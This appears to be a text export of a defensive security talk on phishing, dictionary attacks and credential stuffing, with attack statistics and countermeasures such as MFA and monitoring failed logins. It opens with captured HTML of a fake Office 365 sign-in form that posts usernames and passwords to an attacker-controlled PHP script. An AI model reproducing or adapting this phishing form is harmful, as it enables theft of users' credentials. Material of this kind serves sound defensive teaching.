156      Microsoft Office 365
157    </div>
158    <div id="workArea">
159
160<div id="authArea" class="groupMargin">
161
162<div id="loginArea">
163  <div id="loginMessage" class="groupMargin">Sign in with your organizational account</div>
164
165<form method="post" id="loginForm" autocomplete="off" novalidate="novalidate" onkeypress="if (event && event.keyCode == 13) Login.submitLoginRequest();" action="https://[REDACTED].onmicrosoft.com/o/otheruser.php">
166  <div id="error" class="fieldMargin error smallText" style="display: none;">
167    <label id="errorText" for=""></label>
168  </div>
169
170<div id="formsAuthenticationArea">
171  <div id="userNameArea">
172    <input id="userNameInput" name="otheruser" tabindex="1" class="text fullWidth" spellcheck="false" placeholder="someone@example.com" autocomplete="off" type="email">
173  </div>
174
175<div id="passwordArea">
176  <input id="passwordInput" name="otherpassword" tabindex="2" class="text fullWidth" placeholder="Password" autocomplete="off" type="password">
177  </div>
178<div id="kmsiArea" style="display:none">
179  <input name="Kmsi" id="kmsiInput" value="true" tabindex="3" type="checkbox">
180  <label for="kmsiInput">Keep me signed in</label>
181</div>
182<div id="submissionArea" class="submitMargin">
183  <span id="submitButton" class="submit" tabindex="4" onkeypress="if (event && event.keyCode == 32) Login.submitLoginRequest(); onclick='return Login.submitLoginRequest();'>Sign in</span>
184  </div>
185</div>
186<input id="optionForms" name="AuthMethod" value="FormsAuthentication" type="hidden">
187</form>
188
189<div id="authOptions">
190<form id="options" method="post" action=""/>
191<script type="text/javascript">
192  function SelectOption(option) {
```

# Dictionary Attacks Against Public SAML Provider

- User Agent - Mozilla/5.0 (Windows NT 6.1; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
- Country – Germany
- Method used –
  - LinkedIn scraping
  - Dictionary attack

# Dictionary Attacks Against Public SAML Provider

Values	Count	%	
[REDACTED]@lendingclub.com	408	20%	
[REDACTED]@lendingclub.com	408	20%	
[REDACTED]@lendingclub.com	408	20%	
[REDACTED]@lendingclub.com	408	20%	
[REDACTED]@lendingclub.com	408	20%	

# Visible? Garbage? Expensive?

- Do you monitor failed employee logins?
- Do you monitor failed MFA challenges?
- Make it safe to click
- Make password alone useless for public facing logins (MFA)
  - (or all logins if you can)

the grugg  
@thegrugg

Following

Student lesson: lol, stupid dumbasses

Master lesson: make it safe to click anything sent to people

Andrew Kalat @Lerg

"So much for counter-phishing training: Half of people click anything sent to them"  
[#infosec arstechnica.com/security/2016/...](http://arstechnica.com/security/2016/)


6:26 PM - 1 Sep 2016

103 Retweets 160 Likes

3 103 160

# Your users have all been pwned


- 2012 Dropbox – 68 million creds
- 2012 LinkedIn – 164 million creds
- 2013 Adobe – 153 million creds
- 2013 Tumblr – 65 million creds
- 2015 Comcast – 590,000 creds
- Haveibeenpwned.com ~ 5 billion creds



Source: <https://haveibeenpwned.com/PwnedWebsites>

# Many people re-use passwords


2017 poll - “How many of your accounts use the same password for online logins?”




## Credential Stuffing On LC Platform

- Traffic sourcing from 40+ countries
- Over 1000 – 9000 IP Addresses
- Multiple User-agents
- Millions of failed logins

# Credential Stuffing On LC Platform



# Credential Stuffing On LC Platform



# Less Effective Countermeasures

- Comparing your credentials to breached creds and resetting passwords
  - You'll get the info slower than the bad guys
  - People reset their password back to the compromised creds
- Blocking User-Agents
  - You can see unique user-agents, but that's whack-a-mole

# More Effective Measures

- Step-Up Authentication
  - Adds friction to the credential stuffing process
  - Can get 100% rollout, rather than opt-in 2FA
- Alert monitoring on failed logins
  - 10 or 100+ failed attempts with different emails, same IP
  - Credential stuffing is a game of big numbers (it's noisy!)

## Yell at me / Grab Slides

- Benjamin Hering
- @SecTinkerer
- [inbox@benjamin-hering.com](mailto:inbox@benjamin-hering.com)
- Online questions at Peerlyst
  - <http://bit.ly/BlueTeamFund>
- SANS Community Mentor

Questions?